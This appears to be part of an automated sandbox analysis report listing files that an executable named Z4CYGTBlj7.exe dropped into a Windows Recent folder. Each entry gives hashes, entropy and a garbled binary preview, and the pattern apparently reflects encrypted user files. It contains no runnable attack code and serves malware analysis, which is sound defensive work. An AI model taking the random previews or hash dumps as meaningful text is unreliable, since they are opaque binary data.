SHA-512:	C4329B7689B1FE3C31AA653DC4576DEA639D182070F70E70875FFE803D8976B6B2A97F12BDCC421B443FBE02F86F3681AA0C3BFC5206743C62D8B656397DD540
Malicious:	false
Preview:	JDDHM...X....m...p......2....1.XEE.)5..2.......67h \n.K....X..O?v.+4c....4...o......N..C.....F..S{...E.......z\..tz....).w.......U._.i..O%.6ihQ.Mx..A...8......\...,..ZQ..t...m....A..s`... Y..o..h.....hx.....[.....+....W[,.....U..........`.s.>.G.o.g%...z.,...;..kJ..$-..ch=)#4]....nK^x..'Z........+......:...qm,.......?....`:.....b..w.V....f2I4B..r..H.....v.f.~s..@....n ....,P....G..vv?H.:......\|.%7....C.,....$.`.I.h..w.8....R.4..[.h...0F..&.r.........p........G.Yl..^.\I.<:=.e.c.".......!....2.".a.).]..K..i.'Y3..B...$..IQ.U..\|G........b..\).Jp...Yq4uz..<.T...^.V......)#..sQ.taQ....A.A^u.........n...Z}f"..HeO.....}.f......A.'Eo."...\.Km;-.y..w..t......r.fe.bI...\o_...@..]Y=&,d..V.D..s30.QTWP8....D.I.h.\|."S2.z.+..^7.. ..\T..r.6,......'.W...SOF.P.I.~:>...F....e.vEG.,.fU:.D..xG..a..N....h.3U<.....h......)*.bi...j..=.B]...[...s...]...%...:....)S....9f...3..6..Xb\.....$..m.Z..K./Il.yxa....0....q........?".O..l..p7.H..Z.....J.\|...V...J8%\f.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MOCYNWGDZO.pdf

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822925506158992
Encrypted:	false
SSDEEP:	24:PdoU+L5o3xW1ot+fxav1ABm01SDUGOILg/jKeHsiNlUJQJsbD:loU+acoqg04ZOhDpNDmD
MD5:	A6ECEEC61FA53EA64E69BDC76C21203C
SHA1:	D81188DDED111B8DE2E87C8B4D7E1EB61ABE21DD
SHA-256:	5A96528D33157E71ADC2C19168C915D05174E142E94E4B882D20CAD1B7F673B6
SHA-512:	BCBF212AF74DE6C50CCEFA1E8AC9A7DB8462D98A5D9355978C8DBCBF0AAB8443840CF7A375D58A43ECD5795A0565DDAE0E05E142577DBA9DCE2A4797AC0A7132
Malicious:	false
Preview:	MOCYNp.t......]..".>[.R6.x...+....f(.."..qk~F....d#...{..W....p.t.......@.)#8....<.`......G.b..f.~B?.Q.-. ....f)." ;...Sl.7..J{.....o...CF....3m.r.....,P.<..o.....E.m._...h.....2......,{.!...A{...7..q\|\|..\[F....)kS.....m]..="...46.FOC+.X.n.=. ....q...E..q$. c.T..=...1.~`q...y...w.(.$\|.$m...?.6.[......}.../....w.PS....Ud.F..d.:..G....G..`u.@.?..?...R.n..>>.F.i.c..p.......M...).(.3.iQ$3.. g.`lS.l.!ml.D......{.3....Gj......7u......L.K.. ..0.3..5m........x....=._!..96.u..........V....M..F....[:..S\|d..`.b...x.m.......,.-=..,..}<...p....1.`.~\[..$O..#..%.#...+R^pq#xP..J.._..5.*._..03.;.v.5Y..v....v.VC..@.N..Nj2Y&.9e"...n)..uh=#..}.E..K..#k....6K..m....q&....Tg....j..j.c.L..d....S.Z .S.X.....m..>Cb.6f3.Y./.]>;....=.iW..............;. 8..}I.G.....v.U......f.,.4...#4.a...P.h...}0...k=..y...:\|a..bhU..'.b.\....ar...m.!u.L...e....o....L.v...c....(.,&Bhg5.d...lW.w.v.....`c..<1L...T..b..T....!..uj...o.J...@3.<.....}.3U... .I.SIx.Y..Qh...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MOCYNWGDZO.xlsx

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843447351479886
Encrypted:	false
SSDEEP:	24:ik2DoT2HM2rt/ZVE4n9dzztyQZVAlSkb/UnqrXXF1mdCnzwy18sbD:id9HM2rt/TDQQw5rprWkcmD
MD5:	0E6B1B6E749EE712036CDBE58DBE2922
SHA1:	4929FCDE881CC5156B4FBF22A5F1B925A4830FCC
SHA-256:	E9159F868006E805E1544B76FA41C963C1B3E709C09EEB71F7D1B442DADBE21A
SHA-512:	82AA85BF55C573ABF34CAA2C8D9310433EADD7B9BB9C1790EDFAD6B6EA4FFA1F202A08CB9AC601CE157AB544630B0404C4273855CE5CC305217246284D0C89FE
Malicious:	false
Preview:	MOCYN.%....zM..w..e:/..Xj._...N..?...4...z.....wfI...1.1.R.2..-..&.(........vCF..?...j....._.vr'......5...A.....M..b.r..;.?].d~71.lV.'..@..Z8...H.ql..\|..&........C..R..3.#`&...\^)0......H....v.......7.!.N...z~.r....voo9_.........G9.o.M.A.{WT..:A.M....WAr..+..B..tC.L ..Z.FY....g.>.k1.....M..Z.2...$.S..".5^...7.c....(.E...........QR.....\..:...R....c_R..w....2x.... .zu&..d.,..v..`..(I....2....$.;.^c%v.\.......,.`8..f..a....v.^..S..H;....<.O.....TG8..1y....L..{l-x.~P_. Dy[N.H.j...v.....)......J..t?QXs..Hb.,...?-96..U..S,(G...3..Mh\|..h.n~.[Z..$.:.....4.?....M.rlH.rE....uI".....M.b...~.\|Vs.x$+O8...}.X9.Z..p...\|.)...%..Z.G.,d.........V.....E}..63...f&.S9.,S...".".../U......iH:=.d.X.0....K.2..G.@{.lTLp.}..K.acfs4.F:X..u..Q.".gK....s.q..P...N.;.1...)..........8..mI...SOx......Er....._i...kY....<I..;....)].L.&....q[.3...L;.K1.o..9....o.8C(.O..].P4....e......(..#.>...K..]........~.....a.$.$IU...(.7..Q...DC...PNJ..f'WL...u..?2_d.N.VZD

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NIRMEKAMZH.jpg

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845926464595251
Encrypted:	false
SSDEEP:	24:fusFlEtRFI6F1ttkHCWO/ajoEOW4vVGY4gQeQAaLsbD:fZFlEjFIofOCWO/aTOW4vcY/Q5ZLmD
MD5:	404717699A406287DECE0EDDD8A6603E
SHA1:	244934C5F5EE855489D7F0DD4EBAA0E649F739F5
SHA-256:	500B73170A4DFC0CB7F51C0EF1C236605D12A428E3C7D47000E87FAA7D317197
SHA-512:	59B5550617FC98FEE7B184F49F6A531771A824B3A933113F1E2ABE20CCF5B532CD5E970C2DC0BF199016DF669B2A8078E35AA28CD3E2F1D6C46C4EB420B7535D
Malicious:	false
Preview:	NIRME~. ...hE8o.....5.......0.1.@....\;+...5...6A..WBj..R.`jq%...[....m20]B.,...U.P..+.....W._.S......r_$r...5^...+..7..".Q~4.]0"...!{@........>..m...-h6iV..,...e....=.@...;...PC...'....$?....i.@.X+.8.p/p...M....G.M.z................EjO...G..._.5..\|.7.z.1...(u.....Z5Y..[.B....Q..04Vv..U.<..#.#....j......a..{.b,.\|.d!r..G...J..O....nc..7..v... ........\|.../.v..YI..v$.........w..~.Tl#.OTyk....c^_..Bz{..............)....l...50.......O+...Lp.G..O(....!..?..u....].. .r.6.vA.a....I.....5;a...........z.A.v.`s...STD4A<Tx....\.Q....`........'..$...!..'s........`..{i4X..O.N.e...jA.2..Tg..%.?...9....6."..Mz.....X..<..p..:.3..)..\|..}k...l/a..Ik.....2.0..c..R.".?...6r..po.Ab.......2..c...G.W.6r......@..9... ....&xFT.Ce.1.l;A2vC...\|-\|ojj..)...J..1.;`..Pk.....0G..e.cKU../.m...+n....\|)J..tVn.d..K..@......4.\|l..~....z.iU..$.p..A...yF... O..2....t.......-..t..J.T.}Mh...EY^v...]...$....GA;R..1.H..6.....t.wI.P.@...bO....Nm.2.D....\....i....H.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836843508464067
Encrypted:	false
SSDEEP:	24:FD3PaYqERz/GFCoX0AnC7wMRgJM03QvXY61lXnPx9tPoV7MiV6irfo9oTsbD:FTxqDFOAnC0M+JVMXY6vXnPx9tPuM7ig
MD5:	CD75DB04A6068F9EABAE53F2AC873090
SHA1:	34F70395A3565BB209BE36FCCC2D3AD067BFE775
SHA-256:	47DF15C6A4E0E2F2868A57690D2B32C7F53CF7EB056E463890A0D394D97FE9D0
SHA-512:	4D00D66155F6ADC2DCBE4C514973D40B4BB9272B7A1AD37ADE20B9B2AA1D7669308FA2205C71DB07E81638E5F7E2F995D1C7C918C40BE1FF3695B5EC7087A247
Malicious:	false
Preview:	NVWZAbW...T...w.......lA.....0....#$..V.A.<@..w..5.M\|A/....A%..S.u...+DA..o......U....._.E.t.\|r....ge...`......J....O..G+....9~...O.&).'..N.V....>@...^.M.2.u=cRH._..;.!{5..,..v.z.2.=./.dv...t.b..w85.k+)....A....7T......p.I.....[..aw...Z&g/U.......b...1...,.&>.c..n.U...v...\.O1.N..u..y..~i.k..6s....Q.....P.q..'..BG.d....f..Bf.Q.S..e.9%&....zS).u.....y~.h..1!."K%..d)....(.A.8z..WgR@...!.....J....#..42I.t.?....u.DR4c.....&..9!..'0..;0..](.!nD....G......GuLm.4?^3.:..a.m).@YA{..!..m.<.....`.y..(zV..p..M1.......=..`.YN...'.. Un..5...].-...i_`=:l"...I.]~.....V..........u;....4....1.gGsl.....y.S.:...7E...1..\....SRia]=9..F%....8X...3....J..^y@....(.}...oRLp..nd..E.av..R....F[...n..4.I.P....D\.s.........i....T{.d.AW..uE..0...=.E(.l.r/.W.0.B.j..b..tw.y....=....f1..&y25..]Uy....oC..#y....h.X...75.'..N[...i.&..AGZ...K..b....X.k..Q.c...~...0.....O....k.jC..9.;.I...q..l...>......v....7.'.s..a.?.&,@R.-Y...J.-..2{.<.-yn.$k...N.@4x.{...kq.B.\|S...h.{....%.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.pdf

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841022294829901
Encrypted:	false
SSDEEP:	24:FZip3m0RzMjj8pvy0jz1D+SlNGpMZRj0BvzbNKrjwDEHwossbD:FG3maAj8pHz1v+MD0Zb4jbH1smD
MD5:	7BD77A5F7D4FD60C4A5CDADD08DEA0F0
SHA1:	E736B3736164462B881FCFBFD8932A0A854BD48D
SHA-256:	C34412D078E9AAA7452C8D705FB1BE765202E722B119749F2F7A0F09B26A0187
SHA-512:	FFA7B8A1D510CD01068CBFA80BC52C7FCDDDC72810A72B81B308BB83DBEFCB86FC162B6F2E7320610D386225DEA5C897878D67103F7C7BE8DEDFA9C839708795
Malicious:	false
Preview:	NVWZA&._..si.:d.$..l.u..1.q./..'M.^.M.....a..$s....'.Fz..5z.....x~c..?y..Pko..".-k.Ix..5b.CM.II........<E2.........Sj.B.l.#.eP....K.Y.......J.....L...Lfq.....X..2....l4......S......?[J.%;s^...Irc<..p...'p...."`..r....h.u...n....G.%..&.2..@..t6..(S.@s....GlH,...7.....t.>YV..\r.<.....=7.......b..>r.+....p2.....Xz1....[.\....)...x_3.Xh..p.C...L.x....p47.....;.q.Mw....w7u.G^D.Pc}.43P.X.+.!.}..1r...@.l..O....;qP.P.k.h.t..7:rE.\.4e....+.....i.8.f...=.~.pHqe.D.].I.v7.......;.a..=B.a.D....w.2.D\p... \..Cn08ym......X..oR...ak.~...B...1.......n.28....M........D.....P.}.F....2.Is?z.iTja.x.Yr\...<..O`..)^SP.V...~iA.z...#...:..RE...9[q...._&.=1.V..>Kd\|........(........m......\...Z.....v..TE....A..x..;.5W4c....J.....}.Q.&....)\..i..o.ky.ga'9........,.U0.,......bE..1b;j6..K...\g.....>.J`7).......~..c^.A...X.{cSLu.?.y.v....../....BL..t..9.C}[OO..<`]...^;7*.a..>.=..1.\|-..4...\|W1...^..G.z...a.!=L,=9>.,..7.{.X.;..zJy..4...............=.j...zM........T....m.5.ml3

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.xlsx

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837879183825161
Encrypted:	false
SSDEEP:	24:6Hw1HvPPNFRtXVvfDVz/j+QoPxq5o+WokjIbcFAk9FO4jH5Xa7IEofirS/PMk0sX:yuXPNftX/8JQo+jk+E7LXFadox/PMk0+
MD5:	1B3D07E0674FEC867F1DBECC843C673F
SHA1:	F944FBD558A5A2B3CBE384BC474A3636703CD109
SHA-256:	425A47C2E0987874A6AC0215F07E22B1309C2920557D11C7A3AAC314D3D2508E
SHA-512:	215A02FDFFF9C5A9FE36315B003E14B746566EDE9D50CA3220D6716C11AE0B2E156BF562F9BEE2F98F159DC50E79CD20F58649A242C792B063BD31A009C629F1
Malicious:	false
Preview:	NYMMP...A.Z.y.#.C....e...Qj...T..h.HC.;c...Q..WQC.jA.<....'}.. ..k.D&.P96..i68..H.b.C,.w.H.A.K.v....>....aG.+eB.A.(/.hTB.../r..k..n...k....W.f....lY)8....j(z0;0Z........[...^.,....t..8.$1.l&.ml2h-!".'..^%.X.v...y.v.G..R...6....<.$.z....x..R.jl..\|.\.I..2...,4.H_....~}...l....U..H......N.M.._T........p.+..h`.Fi7$...4....T?c..jYE...f....kFiq..o....m....Y..1._F..[......... ..J...}K}./..u...`/;F.1..=.e;.D...d)...'...z.v..U..g..Y[6s....3/0.8+.F..L8..5..2..s:.....Z..eu.`J%\..9.,.........._J.t..}7........e..\:..^..F.......Dd2].1pe.<.fU..2q.........=xs.. ...Gh...`$h../..M....7x....(R.Z..4.u9.;.k.:.[.^..%...k..2......3.7"_~.o...=..8.=...:.=.7k[1\|..%...Te.3@...2/.QQ....~.j7.4...Z.:k.........e.o...!...5f...4.....0y6..p..82.!K>D..J7Z...J.....%.<i... .P.........2...8.N.[/..)/TYP..9._...T.5..B...Fx.0@.\|.!<..a.I.....JB#.R....O.....n...9%}..1.b..S..8.r..n.G...uk..gJ....KK...7....A.'b!.i......@s(mX.B.1..1.a.~2....R.....S.V3...+Y...9.]...D.......YV......#\.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868078790571207
Encrypted:	false
SSDEEP:	24:T8QuUnu8P4dFU5uGkYLU7C0ypATWlCt9cEJ40gsEG0GeHxl4g2sAGtoPW4YNDQvh:jpnDPKC5jkAUNClCzcmN30HH/4gXXSlB
MD5:	B62E33D01FA9B2576405FC745B324CA1
SHA1:	16473890B3DF09D2546D0A768C2B8248F054D0D9
SHA-256:	D1B4F926496AC3E2D5D925DE2C920948CA72759CBDCE4FC540F4C7EADBE9605C
SHA-512:	2E2C0FF2F4D278205B0F29041867470B3BFBF4B444ECF9DC9B4252B0EC0DF4783145039D57C8A4696D761CE26DD0AA0D800F68131716F960DD63D4D105CA698C
Malicious:	false
Preview:	PALRGc).:.A.A...7~.46..O1+.'N../.r..k[....!.5u....E...0.0..v.ck..e.....])..A....O..[.sa....a.\....z;p.-.AX..Q&..]....IBoB..$.~Y.K/..6.J/5%...2.)=.u....=.U=....O.Np}.L:p..'\|....w=.e.q....~..M.S...G9....s.y.Z$.......pH(./.M...#.(>.V...s.sU...yc..ya...L...I...nA........x...[s............D.}.3..N!+4.b<..V'....].#.D.....?...\.y\...).....?...3.......F...."....w....=]....)..&.O.Q..\|..e................#.._...9...IB.V.^9...z...-..c...-....J4.p..X.\.7h...h...6..T...3..G4.X..i'..kS.h../L.........9....0..MI.....#.....@`*.VMF......O....B..@..[a......oG2..Y.yljM.x.x.j..)...Ll....DedWNa,.D...=v.,......88..vW.\..mZ.~....v.z.1PO.rP.R+.........?..G.v..J.=pQ5."0.....X.Y!p+.}._... .[.C=.3.Q.GM..Gm\|.J%?twj..$.)...%d/v.G{s....._.n.,.cZ.H.E.......>~.....x.K..@\.V<..KQ5.P....:...Fa........gD7b..._..u..s..w.4.n..9hDQ.\|..::&......A..B...1{..9...P....kP.q.gt.x..,zr.:........nT.....%.~...."..5..hJ..1......"4.c.b...$...V.?...K......$. .F......3..-....&....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860873145258008
Encrypted:	false
SSDEEP:	24:bJhbfPpZ0VK3/LIvN7WjKO3f3Luoo26rA4xJsbD:bfbfb0VK3/LIvNKuM7uSA5JmD
MD5:	CFA6B58C0E27EA983EC65AD9124C42BB
SHA1:	DD574378C28BDDD4D6B230351AD3A1ED152127ED
SHA-256:	5B0406986C1BDC018B4E6E05BBA276FD4CCA4DFFE600C1DBEF9584C3E0C95728
SHA-512:	BC0F84A845431589203F423B8524E8CF712724DA7A448173A194B094D75F3DECD986E158107212BB0DF8D13837077879A2B4292E5BBCACF2307176CF11CE31EB
Malicious:	false
Preview:	PALRG.S.....w2..b5R.'...Wz.g....8_...V.....8=.U..../\|E..gEk.._.<..P..x......Ql....ZMb '.e...-G../"..~w..c......c...3.`..:./.V........j..V.....r.w.'V... ....&C.t..p."..%...E...9....H...Ej....-....n....._...$4`W.E.....h...O.i;D7Z.....H....?.OV...'.L.....,.A..Q.l.(%s.Z..FW.p..{3{K....^.c.R.$.R\|.Z..........7.x5.Y...@...^.C..4.....G.....^..O...z.....o.`.cL.....<.f4.we..r.6.<.%.G.!b..s..k%y....cX..B._h).R.\|...$..x..C....G...?..>O+ph3RF.&.....f,#3_.......d.D....2PL...Y...B..a.H'!.S1(&'...T..D.&ke.g.0..=..l.q...k..L.0.6ff.k._^.....<s..a..4......'>K..W....`...>.P^..iS.......T.....1.0G..].;.R.......~.a..886..+...P.P#=.>.2.Gh.\|j...0.....4.!.L...x....O.>.........f.h[u~.8`o=H..<.A).\..K...i...M....2.v_a.U.O....E...R.0m.ZJ.ml.y^...2..H.0\.,..e.._.AKR...t6..i......1.@.....3Ci.F.p....K..[\|8.......>\....q.!#.Q..X<....GW...\.W...\|.oq.......\.........i..Qw_&..W..D.....Qe...y.x`.......@....%].....>y._..UV.Cr..x}p"Fm..e..n.dU...E*....a..o~.@0....7^..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.xlsx

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833103045867175
Encrypted:	false
SSDEEP:	24:5RSz+2CU+u89B9d8IuuYNye+Z5KT7r8pz/Q8a2+0vdZR07U9Fok4qr8NEcKxsbD:GCUexdzA+Z5KXriLQ8pRlZR07U7okzXg
MD5:	38D09B3BB3CC748C81EEF4EFFCCBA4E2
SHA1:	36C3F8CAB0316E354D8BC48E07664F06BBF9B41D
SHA-256:	1BAF67089DBEE3A49E8C80DFB1F720017C872C044BAB7916FC9034FDD1313D16
SHA-512:	8DAA70263980782E683D208FA86B8765B0765E7375C746FCF5A19DBC84528B2D24BB3AFEF74D81371172339ACD46895A5B674652FA0AB538D86B14AE77E6E3C4
Malicious:	false
Preview:	PWZOQ..r..#,...J.AO.e..;\|..^..)L{Iq"...!.S.....E,..4Q..[.wij7~.P.`....=<.7x.:2...98w..].7..%....2.....}..'...`.\|A..8.L..L.y..:.... 988t...U....N?.b..O..q).....=....n.~.w..:{u9.$X!-'.G[N........\|..=fsQ.p.7.7...2..b...m.".&.\|..=-?.'..Z3.m.9.......J.....+H.@...o.R..s...z..jA1..hl.i..K.Q..-.......O..O.....b..H P.h2............?...........`b8.g. ./.&F./.KQg.^.....0..l....M<.!...A....u....M..I.....+..r.R../.y)..f.Z.n...~{...Ue./.O..N.bI.A..kf.a.g..;#.]auV..H.....'.8..z.pAb.........k..!7.o.... .=.8.K.zizv.f.\|...H.h7.....4.r.!..ys.50.f:f.vO...\H...2.....2...4._......._lmQ.....a....U.1~I..PZkh.x...`B............n.}..O.....5.k.?...h...9...JY.S._..c.U,.1...0.4LD.......FZ.....a..^}:D.......Tm.U..$EWl.[CvM?..L.h7..q...C.3.'.-2.HQ...9....;.m.,....P..!..\|.,s ..\07.aIn..?.`.-..}.\<w{d.k.^...XW...........Hb.k..r..P......sJ.9.....6cR.0.qP....< .~o(...G.._=..b?...wm@.Z.8..'..........2.....:....06...E.......o.....z6.E..\..FFt.u..6.K1.1x.b.S...O>\|'..1 ......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841372185212198
Encrypted:	false
SSDEEP:	24:ZpCFHwlVI3H4N9PJ7u9x3xZu4hA++GLUSjvtZeVnnPhfD1oF0/sbD:LEGuoN9laxZRAznPmD
MD5:	9B32EE823F78113ECA6777171651CF54
SHA1:	724FFF741C42AA260EF5CDF2759A6EB269B6A051
SHA-256:	83DE78BEE5B88DA8A8B649371B599BDDCD1A74F09ABB935D292038640C283CFD
SHA-512:	8B6516E0BE6757007BE8A1658BA1A05BB8E871FDA3B9DC9AA6876F3F67D92B41AA6DE566884CCAAEAAE5B10DC3588213F51356545D048AF152DEDA96CADB0009
Malicious:	false
Preview:	SQSJK....f;.x4..F...(u.J.....8%..C....v....K.....H...O..E{.....U....X...X0.._Y..Q..]..d.;.P....Li-...FT....T$d.e).v91.eW.fe..H].!....Q.Qr........[..G.'M....'.z...zv!r-.$.......:.k......Z.....9T... 2[..H=.$..\.}..`..m.8......X.M...(.gq..U.Q%......c.u..}\|............[..(....1m.....$.u...%u...Bf.A....3.....~.R........>.W.....(.I.t...I..,..O.....LUK.rIbwt.O..7.Kw[}.NX.../...!.Le8.`.."D....3${m.q.......>...~9p.{l..$`.....9..cEI........Y...{$....G....,...1......1.i.PA.S.)....D.Da`-.hK.....I....=.>..\|(i.JN.$=...?....O_u...2.U..8pEB..}b4.X...M.n...!.m.?1.......(..nl.......V....%..xl.Mpt. ..}.....<..-.P..9..]..l.$..CH..D.........]e......9u......4m.h...r.+^.........2.+.O.m.}....4.F.....C@.....&q6..X...d..'.....k..RfO_.....2.....&M.,..<<L....c.......,v../._..G2...M.3w.w...m...y.1M.7.LB..J..{....2P.............vwc(.>...H4'............Y..\.9{M..m......`6.5q......2o..-.}....g.`aCV.%\|._.f..4.s..[.....M!....2P.:...Hv..N.a...v..yA..j.+j.+W.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TWKDBEMPGR.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839556130863742
Encrypted:	false
SSDEEP:	24:v6+mIcL0I3m2vFceIMTXBtXoQnUMgRxAR1e+eDClb8mgvN5UqHHbPWyqsbD:v/GoI36C7xcAR1edNrHbPWZmD
MD5:	CDDD5630F70FBE068CA97472B41D17D3
SHA1:	7A97E615454FE506C9D3B6F9A5FCCF0A9021D45E
SHA-256:	CAD56080067687273207B444E447E1A6073378E7E139B63DA949D76B43D4355D
SHA-512:	168E24A276AB4BEEE9650A5828FDE256566D74DCF16A42A912F94B8270E26C78AB47D30D3F39AA9EBE9013F111F890DE84C4100305A61FAAF2060100C0B1AC79
Malicious:	false
Preview:	TWKDB4..!..~O...%..5r.<..a.~+...6.{`L.C.K...h=.\../;U&..\.5.....{...ZQ+.5s`.........$...8x2...}O......s....\.Y..w.(.....0..\..O.is.m.....GB.0.?}..+....r.!4.Z..)....K.j.)0{6.B.T#....dL.`..$.5kyis48K6:../.....j/.+&.U.We....r..G.M:..\9.^.:..lD.;...._1x8.yf.u{p..<..B.....Q...r.q.r..>.oS!Y.....c...>...X:D..{....~i....K.^o ............s..^.A[.P.......l..&:.ImrO.../...].&~....z...R.<.r.........0M.UV..6.c(..2.d(.\|.f....O.L;..x....+.Sb..8...:N.....^.]g......>!..Q.s....T...r..L..P.(w.H..!wQ.....u.=0..n.<.U1.Jc.....#}T...2..~}T...9.3.VOE&..............*_..,....aI...pi.....>W.=z.HT..(4".\|T..y1IF ..}L...{.......4bR.....5.[v1.N..g8........F..a9X@!,.R"..M.S....+..s....=>.c.%...j.j....EC.n...k..B.....Q.v..v..!.~..Q..OQ.{.....}6..k.X.......(1...cCO.X.-E.W...,.......-..0...VQ.{#z...D.mk..!.;.#r.Km...E.cHsD...g^".....`.1......Txex.7....(.X.........,..%.6\....d.........Ek..V^1s...+$.....e.....T.&...T.1..3.g...../x...'Uq..#f..M.&..S.Ze.\..........YMn.../W".V.w

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VQCDRUFMUU.mp3

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841444297819696
Encrypted:	false
SSDEEP:	24:TCb8QcuGHbbCERWvFbeKAn81w1hRfKn+O3T2taeT9uJgld00RwwJfZJ3zsbD:GYQrGHbzWYjn0k0+O3TcAuxBJDmD
MD5:	04C6C39A3E587497DDA647D767D773BD
SHA1:	DB32E9C4733B9339B4A5A963F4664802A69658DF
SHA-256:	E4804015BD192B52DEAF689BF53B1BD505BAA1842FA800F427F35B9BA5CE71AF
SHA-512:	E158DA745B75AF325DAF4B450C3BAFE54897F2D7FFB2F8C4CF2846FBDB0BE9D535A321DE039A9CBEA1E804BBBA27A90DB2F3523CA2D8DA61626B3EC45EE3950C
Malicious:	false
Preview:	VQCDRE.......9..&F.6....t%.H+ 1.@...>..&.O``.m..L..UX..~:.fQl..V.-........c.Z......<.8cB8@&... .z...^.Q$L..v..l..G..In..w.."@.-. ...K........+.tg7..1J]m...K...]....Wr.O3#..kpR....H....p..YB..D...u...w.........C.m.nY..R..6P.j..Ps...j.....>.........\|78.k.?F.H.b'..7..<.-..K<..L`....l.T.B.e.q..n.x...]?...OJ.0.OD.:..^....vW.q....2..o."....F..~.y..T.Y_.;lfe.a../6..^.n_5{...\U...\|...h...J6.........-.._.............h.j.....;.2.....?k.!l....6#.^;X+.3<..M...:..'7..._..g.'.8..lM.......<.......E.2.L?'k.........~.....[M.)..r...YaF;....g?/T;.B#.....-).0.........>.."..kya4./.#....le`.K...9...dX.#ejC...v...O..f.$...1.:h.7#p.7!Q.mE......R...i....P.`.8..n.i..].h.@6.5.B..F.Z4TM..D..`V.8....L.4..................K......Ga. .%..g'.m..~!..W...[.....<..~...X\_~.X....E..h..V..V.rj...j.'-...f.,/.S...(e.cm..A.+.3.4.]..E.g..I.D<>"..}....)s`d..c..]....a ....d.Q...x.~(,A.P......-..V.....5.l.m.H....Mj.7...l.O..f..N.4..C.y+:....{DfB.....-...E.9.r=..G!......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VWDFPKGDUF.docx

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82926819649324
Encrypted:	false
SSDEEP:	24:TsdvhpOyKFBg8fxBqDkjuElE2k8Eb02Fd9QyaBXG2J44OagIa3nVvRJOY8T6sbD:TsVWywXjV4tQyaBXRJ44+IaVvHO96mD
MD5:	C2AE28DD92298E4F679F7AC449C783EC
SHA1:	EC481DC56625E00B67C8D1184BD533E8A5C0A8BC
SHA-256:	2E2ECAFCC38F37E4949A93D16387E5CC5333E3C7BD92EE6A473E07EFA550851D
SHA-512:	E7453E3F8301223AF6AAFBE54628648D580F0D566C855A795B3ACF7CF0E31F1891BA4693DE07BFD6788C0EA92BC6104838C82AD045C62DC08D17AEF3BA591DA8
Malicious:	false
Preview:	VWDFPd.LY?......0....!}.c...du..w.....9t...../e.'H.D..)."O.l.!.]..@....eR].J.A.........M..j8"..B....h...uG..Y.E.~~~...jR.&M....G..2..=t...X..TzH..cG(..p.d.Y...?...3........6.4..S..._Clp=...wP.8..6...(.J.GZD......Q..yycZ.o...7c.-..CK.q..X........]2{O7e..."...X.!.X.e....,N[W_d....... v...AF..@....w.t.0N....dO.\{.h.U....1.`....$.....J.m...`....R..O.E.w.].uy.../....9....T..31.........0.P.\:o\....c~1.........Zbf..J.....;.N.R7....f.c..:\|.....s........ZK,i.Av{.....3..$.R.Md...J.J..n...j..mt...t.b....a.ST..d......[/../H..WQ Q.w.-k.(.....d$...P<s.Gi.9t.{..zK.g.M..\....a.N.......vg...(..c..G01.gZ.......D)..?.s..?....(......@fX.Zih......(i.\|.......,...h0K..x.".d.../.2.[r.x-e=..df.g..\0z.f.Z...`...OQnX.%.G#.\|Z..F....Cy.t.$......H5.QE$=......v...8gn.}....PQ.6.K....$e:..E.\|;.8e....Z...@ x<^.r...c.^.aY9......_...s......vZ*.6...........!}W..~..2......xLgW....r..`...B..4.I.q.6MU...A.4......}.\|.Q..^0.M..B..v...G.....L3.t,.R.eHC&0..:.$..$.s........j.n

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WHZAGPPPLA.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858203277872599
Encrypted:	false
SSDEEP:	24:BCLGzR1ag3f/+otRSR+MbhmBku+MRu/onKYZK9D2lks7HPVMwxsbD:BRCefj3++MXxQvZ2D2l5DPVMemD
MD5:	02B8B13926AB336629B5AF852C364DCA
SHA1:	36668BC747E98FDC96F535FEC08F7B2E2D69380C
